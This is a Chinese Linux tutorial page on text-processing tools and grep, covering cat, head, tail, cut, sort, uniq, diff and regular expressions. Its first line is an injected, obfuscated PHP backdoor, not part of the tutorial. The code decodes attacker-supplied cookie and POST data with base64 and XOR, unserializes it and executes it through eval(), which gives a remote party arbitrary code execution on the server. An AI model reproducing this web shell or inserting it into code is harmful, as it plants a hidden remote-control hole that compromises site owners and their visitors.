$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 文本处理工具以及grep | Linux运维部落

文本处理工具以及grep

文本处理工具以及grep

我们在使用Linux系统的时候需要查看、分析或者统计文件,这时候我们就需要使用到文本处理工具。

我们先来看下几个文本处理工具的使用:

文件内容:less和 cat

文件截取:head和tail

按列抽取:cut

按关键字抽取:grep


我们先来看看less和cat

cat:查看文件命令

    用法:

    cat [OPTION]… [FILE]…

    参数: 

    -E: 显示行结束符$

    [root@centos7 ~]# cat -E f1
    2390051ee07353113$
    1231238942389472341239847$
    0123weqeqqwe213312132123$
    039005170023123761$

    -n: 对显示出的每一行进行编号

     [root@centos7 ~]# cat -n f1
     1	2390051ee07353113			
     2	   
     3	1231238942389472341239847
     4	0123weqeqqwe213312132123
     5	039005170023123761

    -A:显示所有控制符

    [root@centos7 ~]# cat -A f1
    2390051ee07353113^I^I^I$    这里的^I就是Tab
       $

     

    -b:非空行编号

    -s:压缩连续的空行成一行(下面来看一下对比)

    [root@centos7 ~]# cat f2
    a
    
    
    
    a
    a
    [root@centos7 ~]# cat -s f2
    a
    
    a
    a

分页查看文件内容:

more: 分页查看文件

    more [OPTIONS…] FILE…

    -d: 显示翻页及退出提示 

less:一页一页地查看文件或STDIN输出 

    查看时有用的命令包括: 

    /文本 搜索 文本 

    n/N 跳到下一个 or 上一个匹配 less

    如下图,输入/of(搜索文中出现的of)

   文本1.png

    命令是man命令使用的分页器

显示文本前或后行内容:

head 

    用法:

    head [OPTION]… [FILE]…

    -c #: 指定获取前#字节

    -n #: 指定获取前#行

    -#: 指定行数

tail

    用法:

    tail [OPTION]… [FILE]…

    (默认显示10行)

    -c #: 指定获取后#字节

    -n #: 指定获取后#行

    -#:指定行数

    [root@centos7 ~]# tail -3 /etc/passwd
    rootash:x:2010:2010::/home/rootash:/bin/bash
    roobash:x:2011:2011::/home/roobash:/bin/bash
    zzzz:x:2012:2012::/home/zzzz:/bin/bash

    -f: 跟踪显示文件新追加的内容,常用日志监控

按列抽取文本cut和合并文件paste

cut

    用法:

    cut [OPTION]… [FILE]… 

    -d DELIMITER: 指明分隔符,默认tab 

    -f FILEDS: #: 第#个字段 

    #,#[,#]:离散的多个字段,例如1,3,6 

    #-#:连续的多个字段, 例如1-6 混合使用:1-3,7 

    -c 按字符切割 

    –output-delimiter=STRING指定输出分隔符

例如显示/etc/passwd前3行的用户名和shell类型:
    [root@centos7 ~]# head -3 /etc/passwd | cut -d: -f1,7
    root:/bin/bash
    bin:/sbin/nologin
    daemon:/sbin/nologin

paste 

    合并两个文件同行号的列到一行

    用法: 

    paste [OPTION]… [FILE]… 

    -d 分隔符:指定分隔符,默认用TAB 

    -s : 所有行合成一行显示 

    paste f1 f2 

    paste  -s f1 f2

分析文本的工具:

文本数据统计:wc 

整理文本:sort 

比较文件:diff和patch

收集文本统计数据wc:

    计数单词总数、行总数、字节总数和字符总数 可以对文件或STDIN中的数据运行 

[root@centos7 ~]# wc f1
     32   31   383     f1
    行数 字数 字符数

    使用 -l 来只计数行数 

    使用 -w 来只计数单词总数 

    使用 -c 来只计数字节总数 

    使用 -m 来只计数字符总数

文本排序sort:

     把整理过的文本显示在STDOUT,不改变原始文件 

     用法:

     $ sort [options] file(s) 

     常用选项 

     -r 执行反方向(由上至下)整理 

     -n 执行按数字大小整理 

     -f 选项忽略(fold)字符串中的字符大小写 

     -u 选项(独特,unique)删除输出中的重复行

     -t  c 选项使用c做为字段界定符 

     -k  X 选项按照使用c字符分隔的X列来整理能够使用多次

 看下面的例子:
    [root@centos7 ~]# cat f2    先查f2文件的内容
    nologin:x:2009:2009::/home/nologin:/bin/bash
    rootash:x:2010:2010::/home/rootash:/bin/bash
    roobash:x:2011:2011::/home/roobash:/bin/bash
    zzzz:x:2012:2012::/home/zzzz:/bin/bash 
    [root@centos7 ~]# sort -r -t: -k3 f2    sort命令使用:做分隔符反向排列第三列
    zzzz:x:2012:2012::/home/zzzz:/bin/bash
    roobash:x:2011:2011::/home/roobash:/bin/bash
    rootash:x:2010:2010::/home/rootash:/bin/bash
    nologin:x:2009:2009::/home/nologin:/bin/bash

uniq命令:从输入中删除重复的前后相接的行 

    用法:

    uniq [OPTION]… [FILE]… 

    -c: 显示每行重复出现的次数; 

    -d: 仅显示重复过的行; 

    -u: 仅显示不曾重复的行; 

    连续且完全相同方为重复  

    常和sort 命令一起配合使用: sort  userlist.txt  |  uniq -c

    [root@centos7 ~]# cat f2
    a
    a
    a
    
    
    a
    b
    a
    [root@centos7 ~]# sort f2 | uniq -c
      2 
      5 a
      1 b

比较文件:

    diff:

    [root@centos7 ~]# diff f2 f3
    2c2
    <  Kernel \r on an \m
    ---
    > Kernel \r on an \m
    注明第2行有区别

grep和正则表达式:

    grep: Global search REgular expression and Print out the line.即全局搜索正则表达式并打印出匹配的行。 

    作用:文本搜索工具,根据用户指定的“模式”对目标文本逐行进行匹配检查;打印匹配到的行;

    模式:由正则表达式字符及文本字符所编写的过滤条件。

    grep用法:

    grep [OPTIONS] PATTERN [FILE…] 

    grep选项: 

    –color=auto: 对匹配到的文本着色显示;

    -v: 显示不能够被pattern匹配到的行;

    -i: 忽略字符大小写 

    -n:显示匹配的行号 

    -c: 统计匹配的行数 

    -o: 仅显示匹配到的字符串;

    -q: 静默模式,不输出任何信息 

    -A #:after, 后#行 

    -B #: before, 前#行 

    -C #:context, 前后各#行

    -e:实现多个选项间的逻辑or关系 grep –e ‘cat ’  -e ‘dog’  file  

    -w:整行匹配整个单词 

正则表达式:

    在编写处理字符串的程序或网页时,经常会有查找符合某些复杂规则的字符串的,正则表达式就是用于描述这些规则的工具。REGEXP:由一类特殊字符及文本字符所编写的模式,其中有些字符(元字符)不表示字符字面意义,而表示控制或通配的功能。程序支持:grep, vim,less,nginx等。分两类:基本正则表达式:BRE扩展正则表达式:ERE 。

    元字符分类:

    字符匹配

    匹配次数

    位置锚定

    分组 

基本正则表达式

字符匹配:

    .:匹配任意单个字符;

    [root@centos7 ~]# grep "r..t" /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    operator:x:11:0:operator:/root:/sbin/nologin
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
    rootash:x:2010:2010::/home/rootash:/bin/bash

    []:匹配指定范围内的任意单个字符 

    [root@centos7 ~]# grep "r[a-z]t" /etc/passwd
    operator:x:11:0:operator:/root:/sbin/nologin
    sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

    (这里一定要注意的是单个字符)

    [^]:匹配指定范围外的任意单个字符 

    [:digit:]数字     [:lower:]小写字母

    [:upper:]大写字母  [:alpha:]大小写字母

    [:alnum:]字母和数字[0-9a-zA-Z]

    [:punct:]标点符号  [:space:]空白字符(空格和Tab)。

匹配次数:

    用在要指定次数的字符后面,用于指定前面的字 符要出现的次数 

    *:匹配前面的字符任意次,包括0次 贪婪模式:尽可能长的匹配 

    .*:任意长度的任意字符 

    \?:匹配其前面的字符0或1次 

    \+:匹配其前面的字符至少1次 

    \{m\}:匹配前面的字符m次 

    \{m,n\}:匹配前面的字符至少m次,至多n次 

    \{,n\}:匹配前面的字符至多n次 

    \{m,\}:匹配前面的字符至少m次

位置锚定:

    定位出现的位置

    ^:行首锚定,用于模式的最左侧 

    $:行尾锚定,用于模式的最右侧 

    ^PATTERN$: 用于模式匹配整行 

    ^$: 空行 

    ^[[:space:]]*$ :空白行 

    \< 或 \b:词首锚定,用于单词模式的左侧 

    \> 或 \b:词尾锚定;用于单词模式的右侧 

    \<PATTERN\>:匹配整个单词

分组:\(\):将一个或多个字符捆绑在一起,当作一个整体进行处理

   分组括号中的模式匹配到的内容会被正则表达式引擎记录 于内部的变量中,这些变量的命名方式为: \1, \2, \3, … 

   \1: 从左侧起,第一个左括号以及与之匹配右括号之间的模式所匹配到的字符; 

   实例: \(string1\+\(string2\)*\) 

        \1: string1\+\(string2\)* 

        \2: string2 

       后向引用:引用前面的分组括号中的模式所匹配字符(而非模式本身)

egrep及扩展的正则表达式:

    egrep = grep -E 

    egrep [OPTIONS] PATTERN [FILE…] 

字符匹配:

    . 任意单个字符 

    [] 指定范围的字符 

    [^] 不在指定范围的字符

次数匹配: 

    *:匹配前面字符任意次 

    ?: 0或1次 

    +:1次或多次 

    {m}:匹配m次 

    {m,n}:至少m,至多n次

    位置锚定: 

    ^:行首

    $:行尾

    \<,\b:语首

    \>,\b:语尾

或者:a|b 

    C|cat: C或cat

    (C|c)at:Cat或cat

我们先熟悉了grep与正则表达式,现在我们来做几个小实验来看一下用法:

显示/etc/passwd文件中不以/bin/bash结尾的行

    [root@centos7 ~]# grep -v "/bin/bash$" /etc/passwd 
    (-v选项显示不能够匹配的项) (&行尾锚定)
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    ...

找出/etc/passwd中的两位或三位数 

[root@centos7 ~]# grep "\<[0-9]\{2,3\}\>" /etc/passwd

图图1.png

显示当前系统root、mage或zang用户的UID和默认shell 

[root@centos7 ~]# egrep "^\<(root|mage|zang)\>" /etc/passwd | cut -d: -f1,3,7
    root:0:/bin/bash
    zang:1000:/bin/bash
    mage:19999:/bin/csh

找出/etc/rc.d/init.d/functions文件中行首为某单词(包 括下划线)后面跟一个小括号的行 

[root@centos7 ~]# cat /etc/rc.d/init.d/functions | egrep "^[[:alnum:]_]+\(\)" 
checkpid() {
__pids_var_run() {
__pids_pidof() {
daemon() {
killproc() {
pidfileofproc() {
pidofproc() {
status() {
echo_success() {
echo_failure() {
echo_passed() {
echo_warning() {
update_boot_stage() {
success() {
failure() {
passed() {
warning() {
action() {
strstr() {
is_ignored_file() {
is_true() {
is_false() {

   

原创文章,作者:zanghonglei,如若转载,请注明出处:http://www.178linux.com/31255

(0)
上一篇 2016-08-08 16:04
下一篇 2016-08-08 16:04

相关推荐

  • MariaDB之MHA配置

    工作拓扑 一、MHA简明:     MHA(Master HA)是一款开源的MySQL的高可用程序,它为MySQL主从复制架构提供了    automating master failover 功能。MHA在监控到master节点故障时,会提升其中    拥有最新数据的…

    2014-10-08
  • 马哥教育网络班19期第十二周课程练习

    1、请描述一次完整的http请求处理过程; 一次完整的http请求处理过程如下: (1) 建立或处理连接:接收客户端的请求,建立连接,或是拒绝其请求 (2) 接收请求: 接收来自于网络的请求报文中对某资源的一次请求的过程时,web服务器也分几种模型对并发请求进行响应:             &nb…

    Linux干货 2016-08-11
  • 计算机的组成及其功能。

    一、计算机的组成及其功能。 计算机,是现代一种用于高速计算的电子计算机器,可以进行数值计算,又可以进行逻辑计算,还具有存储记忆功能。是能够按照程序运行,自动、高速处理海量数据的现代化智能电子设备。 1、运算器(Arithmetical and Logical Unit):计算机中执行各种算术和逻辑运算操作的部件。运算器的基本操作包括加、减、乘、除四则运算,与…

    Linux干货 2016-10-30
  • 如何新增加磁盘分区挂载

    新增磁盘和分区挂载我们先要了解fdisk的参数以及菜单的操作说明,下面是fdisk的参数说明:  fdisk参数说明: m :显示菜单和帮助信息 a :活动分区标记/引导分区 d :删除分区 l :显示分区类型 n :新建分区 p :显示分区信息 q :退出不保存 t :设置分区号 v :进行分区检查 w :保存修改 x :扩展应用,高级功能 1  查看磁盘…

    Linux干货 2018-03-26
  • 解决线上服务器httpd无法反向代理resin的解决方法

    一、简述   前两天有后端的小伙伴跟我反映说使用httpd反向代理resin时遇到的问题,在做网站管理后台的时候,发起的http的put,delete的请求无法经由resin传递到后面的dbserver。当时的第一反应就是httpd的反向代理设置出现的问题,但是关于httpd反代resin的内容在网上机会搜索不到。于是,查看httpd反代tomca…

    Linux干货 2017-01-11
  • haproxy 实战之haproxy实现httpd负载均衡

    haproxy 实战之haproxy实现httpd负载均衡 实验目的haproxy + httpd实现负载均衡 1.准备机器,做好时间同步,域名主机名解析 192.168.42.151 [node2 haproxy] 192.168.42.152 [node3 httpd] 192.168.42.153 [node4 httpd] 2.node3,node4…

    Linux干货 2017-06-29